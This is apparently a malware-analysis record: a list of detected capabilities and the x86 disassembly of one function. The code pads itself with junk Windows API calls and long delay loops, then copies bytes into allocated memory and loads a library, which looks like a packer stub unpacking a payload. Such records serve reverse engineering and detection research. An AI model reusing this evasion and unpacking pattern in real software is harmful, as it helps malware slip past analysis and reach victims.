Function at 0x42c8b2
Capabilities:
Accept command line arguments
Connect pipe
Create directory
Get file attributes
Get hostname
Read pipe
Write pipe

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
push ebx
push esi
xor esi, esi
push edi
xor ebx, ebx
cmp ebx, 0x11c
jne 0x42c8d6
mov eax, dword [0x431430]
add eax, 0x9e49
mov dword [0x43fd24], eax
cmp dword [0x43fd24], 0xd5d
jne 0x42c90e
xor eax, eax
mov word [ebp - 4], ax
lea edi, [ebp - 2]
stosw word es:[edi], ax
lea eax, [ebp - 8]
push eax
push dword [ebp - 4]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_FillConsoleOutputCharacterA]
or dword [0x431f14], 0xffffffff
mov dword [0x431f10], 0xec58acac
inc ebx
cmp ebx, 0x123789a
jl 0x42c8bf
xor edi, edi
cmp edi, 0x55ded1
jne 0x42c92b
mov eax, dword [0x430c68]
mov dword [0x43fd28], eax
cmp dword [0x43fd24], 0x3c
jne 0x42c93a
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
inc edi
cmp edi, 0x5ea53c
jl 0x42c919
cmp dword [0x43fd24], 0x7c
mov ebx, dword [sym.imp.KERNEL32.dll_LoadLibraryW]
jne 0x42c9fe
push esi
lea eax, [ebp - 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedExchangeAdd]
push esi
push esi
call dword [sym.imp.USER32.dll_LoadIconA]
push esi
call dword [sym.imp.KERNEL32.dll_LocalFlags]
push esi
call dword [sym.imp.KERNEL32.dll_FindAtomA]
push esi
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
push esi
call dword [sym.imp.KERNEL32.dll_GetConsoleSelectionInfo]
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_RaiseException]
xor edi, edi
call dword [sym.imp.KERNEL32.dll_GetLastError]
lea eax, [ebp - 0x20]
push eax
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x10]
push eax
call sub.KERNEL32.dll_GetSystemTimes
cmp edi, 0x257b4
jg 0x42ca2a
inc edi
cmp edi, 0xed801
jl 0x42ca00
jmp 0x42ca3e
cmp dword [0x43fd24], 0xa
jne 0x42ca3e
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_FoldStringW]
cmp dword [0x43fd24], 0x2a
jne 0x42cab3
push esi
mov dword [0x43fbe8], esi
mov dword [0x43fbec], esi
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasesLengthW]
push esi
push esi
push dword [ebp - 0x14]
lea eax, [ebp - 0x14]
push eax
push dword [ebp - 0x14]
lea eax, [ebp - 0xc]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_CallNamedPipeA]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetComputerNameW]
push esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetBinaryTypeW]
push esi
call fcn.00401132
push esi
call fcn.00401132
push esi
call fcn.00401015
push esi
push esi
push esi
push esi
call fcn.00401587
push esi
push esi
call fcn.004010a3
push esi
call fcn.00401344
add esp, 0x28
push dword [0x43fd24]
push esi
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov ecx, dword [0x43fd24]
xor edi, edi
mov dword [0x43fa40], eax
cmp ecx, esi
jbe 0x42caf8
mov edx, dword [0x43fd28]
mov dl, byte [edx + edi + 0x9e49]
mov byte [eax + edi], dl
cmp ecx, 0x5ab
jne 0x42caf3
mov dword [0x43fa44], 0x19b0
inc edi
cmp edi, ecx
jb 0x42cad1
push str.msimg32.dll
call ebx
call fcn.0042c707
call fcn.0042c7f3
xor edi, edi
cmp dword [0x43fd24], 0x41
jne 0x42cb2a
push esi
call dword [sym.imp.KERNEL32.dll_GlobalLock]
push esi
call dword [sym.imp.KERNEL32.dll_GetFileType]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
cmp edi, 0xd606b
jne 0x42cb37
call fcn.0042c6fc
cmp dword [0x43fd24], 0xc
jne 0x42cb4a
lea eax, [ebp - 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedDecrement]
inc edi
cmp edi, 0x24e87d
jl 0x42cb0b
mov dword [0x43fbf0], 0x8e46a6f0
cmp esi, 0x408e
jle 0x42cb6e
cmp dword [ebp - 0x40], 0xf5bed7
jne 0x42cb77
inc esi
cmp esi, 0x687ed2
jl 0x42cb5d
pop edi
pop esi
pop ebx
leave
ret